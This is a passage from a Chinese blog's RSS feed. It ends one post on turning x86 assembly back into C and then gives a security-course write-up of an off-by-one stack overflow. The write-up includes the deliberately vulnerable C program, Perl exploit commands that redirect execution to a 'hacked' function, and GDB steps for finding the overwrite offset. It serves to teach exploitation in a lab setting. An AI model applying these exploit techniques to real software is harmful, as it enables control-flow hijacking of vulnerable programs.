&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="mh">0xc&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">incl&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">23&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">lea&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">incl&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">28&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>对于涉及eax的多条指令，我们不要一条一条看，而是看作一个整体。&lt;/p>
&lt;p>其中，&lt;code>mov 0xc(%ebp), %eax&lt;/code> 和 &lt;code>incl (%eax)&lt;/code> 可以看作 &lt;code>incl (%b)&lt;/code> 注意，由于这里是间接寻址，因此，这意味着，b中存的是地址。因此我们需要修改我们的入参，b这里不是数值，而是地址。这句代码意味着&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">++&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>注意&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;code>*b++&lt;/code> 会先对 &lt;code>*b&lt;/code> 解引用，再对 &lt;code>b&lt;/code> 自增&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>因此这里括号不能省略，否则会有问题&lt;/p>
&lt;/blockquote>
&lt;p>而对于 &lt;code>lea -0x4(%ebp), %eax&lt;/code> 和 &lt;code>incl (%eax)&lt;/code> ，可以看作 &lt;code>incl (&amp;amp;i)&lt;/code> ，这里继续是间接寻址，也就是对后者地址上的数值自增。这句代码意味着 &lt;code>*(&amp;amp;i)++&lt;/code> ，可以简化为&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>之所以这么复杂，是因为汇编指令不能直接对地址进行自增操作，但是可以对一个包含地址的寄存器做自增操作。&lt;/p>
&lt;p>因此，补充了剩余的代码片段，代码应该为&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="识别返回数据">识别返回数据
&lt;/h1>&lt;p>按照C语言的x86的调用约定，返回数据放在eax中。&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="mh">0x0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>很显然，这里直接返回了0&lt;/p>
&lt;h1 id="最终代码">最终代码
&lt;/h1>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Off-by-One 溢出攻击分析</title><link>https://nansenli.com/zh-cn/post/2024/10/oboattact-md/</link><pubDate>Tue, 15 Oct 2024 14:18:44 +0000</pubDate><guid>https://nansenli.com/zh-cn/post/2024/10/oboattact-md/</guid><description>&lt;blockquote>
&lt;p>本文是基于DCU课程，网络安全课程的学习，请勿用于其他场合。&lt;/p>
&lt;/blockquote>
&lt;h1 id="off-by-one-溢出攻击分析">Off-by-One 溢出攻击分析
&lt;/h1>&lt;h2 id="背景">背景
&lt;/h2>&lt;p>上周，我参加了一门安全课程，其中包含了一个 off-by-one 溢出漏洞的示例。以下是原始代码：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/* 简单的 off-by-one 溢出示例 */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;string.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">input&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1024&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">strncpy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">input&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">)]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sc">&amp;#39;\0&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">bar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;I&amp;#39;ve been hacked&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">argc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">argc&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Usage: %s input_string&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">EXIT_FAILURE&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>利用此漏洞的攻击命令是：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">perl -e &lt;span class="s1">&amp;#39;system &amp;#34;./obo&amp;#34;, &amp;#34;\x38\x84\x04\x08&amp;#34;x256&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>运行此命令的结果是屏幕上打印出多行 &lt;code>I've been hacked&lt;/code>。&lt;/p>
&lt;h2 id="分析">分析
&lt;/h2>&lt;p>当程序进入 &lt;code>foo&lt;/code> 函数时，内存布局如下（使用 GDB 观察到）：&lt;/p>
&lt;p>从上到下，布局包含返回地址、保存的帧指针（saved frame pointer）和缓冲区 (&lt;code>buf&lt;/code>)。&lt;/p>
&lt;p>当执行 &lt;code>buf[sizeof(buf)] = '\0';&lt;/code> 时，保存的帧指针 (&lt;code>ebp&lt;/code>) 的最低有效字节被设置为 &lt;code>0&lt;/code>。为了确保 &lt;code>ebp&lt;/code> 在被部分覆盖后仍然指向 &lt;code>buf&lt;/code> 区域内，需要至少 1024 字节的缓冲区。具体来说，需要覆盖 &lt;code>ebp&lt;/code>，使其保持在合理范围内（最高到 &lt;code>0xff&lt;/code>），这就是为什么缓冲区设置为 &lt;code>0xff * 4&lt;/code> 字节的原因。&lt;/p>
&lt;h2 id="理解-foo-返回时的汇编命令">理解 &lt;code>foo&lt;/code> 返回时的汇编命令
&lt;/h2>&lt;p>当 &lt;code>foo&lt;/code> 函数返回时，通常会执行以下关键的汇编指令：&lt;/p>
&lt;h3 id="1-leave-指令">1. &lt;code>leave&lt;/code> 指令
&lt;/h3>&lt;p>&lt;code>leave&lt;/code> 指令等价于：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">mov esp, ebp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pop ebp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ul>
&lt;li>&lt;code>mov esp, ebp&lt;/code>：将栈指针 (&lt;code>esp&lt;/code>) 设置为帧指针 (&lt;code>ebp&lt;/code>) 的值，恢复栈指针到当前栈帧的顶部，从而释放当前函数占用的空间。&lt;/li>
&lt;li>&lt;code>pop ebp&lt;/code>：将栈顶的值弹出并赋给帧指针 (&lt;code>ebp&lt;/code>)，从而恢复调用者的帧指针。实际上，相当于将返回地址写入 &lt;code>ebp&lt;/code>，这意味着将栈中的值（通常是调用者的帧地址）赋给 &lt;code>ebp&lt;/code>，从而恢复调用者的栈帧。&lt;/li>
&lt;/ul>
&lt;p>&lt;code>leave&lt;/code> 的作用是将 &lt;code>esp&lt;/code> 恢复到函数调用前的位置，并弹出保存的 &lt;code>ebp&lt;/code>。如果 &lt;code>ebp&lt;/code> 被覆盖为指向某个特殊地址（例如缓冲区内的地址），在函数返回时可能导致错误的栈指针位置。&lt;/p>
&lt;h3 id="2-ret-指令">2. &lt;code>ret&lt;/code> 指令
&lt;/h3>&lt;p>&lt;code>ret&lt;/code> 指令从栈顶弹出一个地址并跳转到该地址：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">pop eip
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>如果返回地址被覆盖为 &lt;code>bar&lt;/code> 函数的地址，执行流将跳转到 &lt;code>bar&lt;/code>，允许攻击者执行任意代码。本质上，&lt;code>ret&lt;/code> 会将一个地址弹出到指令指针 (&lt;code>eip&lt;/code>) 并跳转到该地址继续执行。&lt;/p>
&lt;h2 id="攻击步骤">攻击步骤
&lt;/h2>&lt;ul>
&lt;li>当执行命令 &lt;code>perl -e 'system &amp;quot;./obo&amp;quot;, &amp;quot;\x38\x84\x04\x08&amp;quot;x256'&lt;/code> 时，程序会将这些重复的字节作为输入传递给 &lt;code>./obo&lt;/code>。&lt;/li>
&lt;li>在 &lt;code>foo&lt;/code> 函数返回时，执行了 &lt;code>leave&lt;/code> 和 &lt;code>ret&lt;/code> 指令，由于返回地址被覆盖，程序跳转到 &lt;code>bar&lt;/code> 函数，打印出成功的消息多次。&lt;/li>
&lt;/ul>
&lt;h2 id="进一步分析确定有效的覆盖位置">进一步分析：确定有效的覆盖位置
&lt;/h2>&lt;p>为了成功执行攻击，关键在于精确确定需要覆盖哪些字节，以有效地操控控制流。在这个例子中，溢出发生在执行 &lt;code>buf[sizeof(buf)] = '\0'&lt;/code> 时，导致保存的帧指针 (&lt;code>ebp&lt;/code>) 的最低有效字节被设置为 &lt;code>0&lt;/code>。因此，需要调整 &lt;code>ebp&lt;/code> 的值，确保其指向缓冲区区域，从而使执行流程按预期进行，最终跳转到 &lt;code>bar&lt;/code> 函数。&lt;/p>
&lt;p>基于进一步的分析和测试，得出以下见解：&lt;/p>
&lt;ul>
&lt;li>
&lt;p>要准确确定覆盖位置，&lt;code>ebp&lt;/code> 的值至关重要。然而，获得这个值是有挑战的，因为：&lt;/p>
&lt;ol>
&lt;li>GDB 调试会影响地址布局。&lt;/li>
&lt;li>输入参数的长度会影响地址布局。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>
&lt;p>在 GDB 调试下，&lt;code>foo&lt;/code> 函数内的布局如下：&lt;/p>
&lt;/li>
&lt;li>
&lt;p>执行 &lt;code>buf[sizeof(buf)] = '\0';&lt;/code> 后，&lt;code>ebp&lt;/code> 被修改，使得返回地址实际上取的是 &lt;code>ebp + 1&lt;/code> 处的值，即地址 &lt;code>0xbfffed00 + 1&lt;/code>，也就是 &lt;code>0xbfffed04&lt;/code>。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>对应的偏移位置在 &lt;code>buf&lt;/code> 的第 255 个位置，这意味着可以通过只在该特定位置填入返回地址来构造攻击。在 GDB 中使用以下命令进行验证：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">r &lt;span class="k">$(&lt;/span>perl -e &lt;span class="s1">&amp;#39;print &amp;#34;\x01\x01\x01\x01&amp;#34;x254 . &amp;#34;\x38\x84\x04\x08&amp;#34;x1 . &amp;#34;\x01\x01\x01\x01&amp;#34;x1&amp;#39;&lt;/span>&lt;span class="k">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>经过验证，这在 GDB 调试下是有效的，但需要注意以下细节：&lt;/p>
&lt;ol>
&lt;li>输入参数的长度必须始终为 256 字节，否则 &lt;code>ebp&lt;/code> 的值会发生变化，因为输入参数会占用栈空间，从而影响帧的起始位置，进而影响 &lt;code>ebp&lt;/code> 的值。&lt;/li>
&lt;li>填充必须使用非零值，如 &lt;code>0x01&lt;/code>，因为如果遇到 &lt;code>0&lt;/code> 值，&lt;code>strncpy&lt;/code> 会提前终止。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>
&lt;p>直接执行程序时（即不使用 GDB），内存布局不同，导致偏移位置也不同。通过实验，发现偏移位置在第 235 个位置。对应的攻击命令是：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">./obo &lt;span class="k">$(&lt;/span>perl -e &lt;span class="s1">&amp;#39;print &amp;#34;\x01\x01\x01\x01&amp;#34;x234 . &amp;#34;\x38\x84\x04\x08&amp;#34;x1 . &amp;#34;\x01\x01\x01\x01&amp;#34;x21&amp;#39;&lt;/span>&lt;span class="k">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;/ul>
&lt;p>这样就实现了找到准确覆盖位置并成功执行攻击的效果。&lt;/p></description></item></channel></rss>